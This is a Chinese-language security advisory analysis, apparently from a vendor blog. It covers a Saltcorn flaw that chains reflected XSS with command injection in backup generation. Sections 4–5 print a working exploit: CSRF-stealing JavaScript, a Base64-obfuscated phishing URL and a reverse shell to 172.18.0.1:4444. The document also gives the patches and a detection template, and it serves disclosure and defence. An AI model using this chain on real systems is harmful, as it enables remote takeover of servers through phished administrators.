我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

GHSA-cr3w-cw5w-h3fj:Saltcorn 中的 1-Click RCE

对 GHSA-cr3w-cw5w-h3fj 的分析,这是 Saltcorn(≤ 1.5.0-beta.19)中一个 CVSS 9.7 严重级别的 XSS 到 RCE 漏洞。两个相互串联的缺陷——路由参数中的反射型 XSS 与备份生成过程中的命令注入——可通过对管理员实施钓鱼来实现远程代码执行。

GHSA-cr3w-cw5w-h3fj

Saltcorn 中的 1-Click RCE 2026 年 2 月 24 日 · CVSS 9.7 严重 · Saltcorn ≤ 1.5.0-beta.19

CVE CVSS 受影响版本 已修复版本
未分配 9.7 严重 ≥ 1.1.1, < 1.5.0-beta.19 1.5.0-beta.19+

1. 技术概览:Saltcorn 中的 XSS 到 RCE 漏洞利用链

Saltcorn 是一个开源、数据库优先的 Web 应用构建工具,带有用于页面/代码编辑、备份和系统管理的管理界面。

GHSA-cr3w-cw5w-h3fj 之所以严重,并不是因为某一个单独的缺陷,而是因为它串联了两个漏洞:

  • 参数渲染中的反射型 XSS
  • 备份命令构造中的命令注入

单独来看,每个缺陷都会带来安全风险。组合在一起时,它们能让攻击者在管理员打开一个经过特制的链接时执行操作系统命令。


2. 路由参数中的反射型 XSS

在直到 1.5.0-beta.19 的受影响版本中,路由参数 name 会未经 HTML 转义就作为 sub2_page 和 page_title 直接流入 send_admin_page()。

存在漏洞的代码模式:

router.get(
  "/edit-codepage/:name",
  isAdmin,
  error_catcher(async (req, res) => {
    const { name } = req.params;  // raw user input, no sanitization
    // ...
    send_admin_page({
      res,
      req,
      page_title: req.__(`%s code page`, name),  // unescaped
      sub2_page:  req.__(`%s code page`, name),  // unescaped → breadcrumb
      // ...
    });
  })
);

send_admin_page() 会调用 packages/server/markup/admin.js 中的 send_settings_page(),后者会将 sub2_page 原封不动地作为最后一个面包屑节点的文本放入:

// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
  above: [
    {
      type: "breadcrumbs",
      crumbs: [
        { text: req.__("Settings"),   href: "/settings" },
        { text: req.__(active_sub),   href: "..." },
        ...(sub2_page
          ? [{ text: sub2_page }]  // ← name value inserted here, no escaping
          : [])
      ],
    },
    // ...
  ],
});

res.sendWrap() 会将 sub2_page 作为原始 HTML 渲染到 \<a> 标签内部。name 中的任何 HTML 都会在浏览器中执行。

由于 name 会未经净化就流入渲染出来的 UI 文本,攻击者可控的值便成为了可执行的 HTML/JavaScript。

恶意请求示例:

GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

XSS 载荷演示

受影响版本中渲染出的输出:

... <a> <img src=x onerror=alert(document.domain)> code page </a> ...

3. 备份密码处理中的命令注入

第二个漏洞存在于备份生成过程中,那里会使用字符串插值构造一条 shell 命令,然后再执行它。

存在漏洞的模式(backup.ts):

const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });

backup_password 被直接注入到一条 shell 命令字符串中。一个恶意的值可以突破 -P "..." 上下文并追加 shell 语法。

恶意密码示例:

";$(id);#

最终执行的命令:

zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .

当触发备份时,这会在服务器上下文中导致任意命令执行。

备份设置界面


4. 端到端利用:串联 XSS 与命令注入

完成利用需要两个组成部分:一个嵌入在钓鱼页面中的武器化载荷,以及用于将其投递给已认证管理员的社会工程手段。

第 1 步:命令注入载荷

fetch('/admin/backup')
  .then(r => r.text())
  .then(html => {
    var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
    fetch('/admin/set-backup-prefix', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
    }).then(() => 
      fetch('/admin/backup', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: '_csrf=' + c
      })
    )
  });

backup_password 参数包含一段经 URL 编码的 shell 转义。解码后,它对应于:

";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"

服务器执行上下文:

zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .

第 2 步:XSS 载荷

来自钓鱼页面的恶意 URL 嵌入了一个使用 Base64 编码的多层载荷,以绕过简单的过滤器:

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E

解码后的 XSS 载荷:

<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>

5. 概念验证:端到端 XSS 到 RCE 利用

这个概念验证针对一个存在漏洞的 saltcorn/saltcorn:1.4.1 部署,演示了一条完整的 XSS 到 RCE 利用链,并通过一个恶意的管理员侧载荷实现远程命令执行。

version: '3'
services:
  postgres:
    image: postgres:15
    environment:
      POSTGRES_USER: saltcorn
      POSTGRES_PASSWORD: saltcorn
      POSTGRES_DB: saltcorn
    volumes:
      - postgres-data:/var/lib/postgresql/data

  saltcorn:
    image: saltcorn/saltcorn:1.4.1
    ports:
      - "3000:3000"
    environment:
      PGHOST: postgres
      PGUSER: saltcorn
      PGPASSWORD: saltcorn
      PGDATABASE: saltcorn
      PGPORT: 5432
      SALTCORN_SESSION_SECRET: fixedsecret
    volumes:
      - saltcorn-data:/home/saltcorn/.config/saltcorn
    depends_on:
      - postgres
    command: serve

volumes:
  postgres-data:
  saltcorn-data:

执行流程:

  • 攻击者终端: 建立一个监听器以接收反弹 shell。

带有监听器的攻击者终端

  • 受害者操作: 管理员点击该恶意链接。

存在漏洞端点的管理界面

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
  • 反弹 shell 已建立: 整条链在不到 2 秒内完成执行,为攻击者提供了远程访问权限。

反弹 shell 已建立

对管理员而言,整个过程几乎是不可见的,仅表现为一次短暂的浏览器跳转。

影响
一旦实现命令执行,攻击者就可以:
• 读取应用密钥和配置
• 植入持久化后门
• 向相连的服务横向移动
• 破坏完整性和可用性

6. 修复:Saltcorn 1.5.0 中的补丁与缓解措施

Saltcorn 1.5.0 版本独立地修复了这两个漏洞。单独实施其中任意一项修复,都足以打断该漏洞利用链。

修复 1:输入转义

在下游渲染之前对路由/查询参数进行转义。

const escape_param = (obj) => {  
  const out = {};
  for (const [k, v] of Object.entries(obj))
    out[k] = typeof v === "string" ? text(v) : v;  
  return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);

修复 2:安全的命令执行

用 spawn(binary, args) 替换 exec(string),并将密码作为普通参数传入(不经过 shell 插值):

const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });

这消除了 shell 字符串注入的原语。


7. 使用 Ostorlab KEV 检测 Saltcorn XSS 到 RCE

GHSA-cr3w-cw5w-h3fj(Saltcorn XSS 到 RCE 链)已被纳入 Ostorlab 的已知被利用漏洞(KEV)检测套件。KEV agent group 在大规模暴露的服务上执行自动化扫描,在统一的工作流下编排 Nmap、Tsunami、Asteroid、Nuclei 和 Metasploit 等工具。

Nuclei 模板

我们为这则安全公告专门开发了一个 Nuclei 模板,并将其加入了 KEV 仓库。

与侵入式的漏洞利用验证不同,该模板在无需认证的情况下执行基于安全反射的检测:

  • 向 /page/sc\<xss\>nuclei 发起 GET 请求 —— 向一个公开的路由参数中注入尖括号。
  • 响应体匹配检查 —— 验证载荷 sc\<xss\>nuclei 是否未经编码地被反射回来。
  • 否定匹配检查 —— 确保其编码形式 sc&lt;xss&gt;nuclei 不会出现。
  • Saltcorn 指纹识别 —— 通过 _sc_version_tag 标记确认其存在。

检测要求所有匹配条件都成立:反射存在、编码缺失,且已识别出 Saltcorn。

该模板确认了使命令注入链得以成立的那个存在漏洞的 XSS 原语,而不会触发备份或执行命令。

完整模板可在 Ostorlab KEV 仓库中获取: github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml


参考资料

资源 链接
GitHub 安全公告 https://github.com/advisories/GHSA-cr3w-cw5w-h3fj
Saltcorn 仓库 https://github.com/saltcorn/saltcorn
修复提交 https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5
存在漏洞的快照 https://github.com/saltcorn/saltcorn/commit/020893c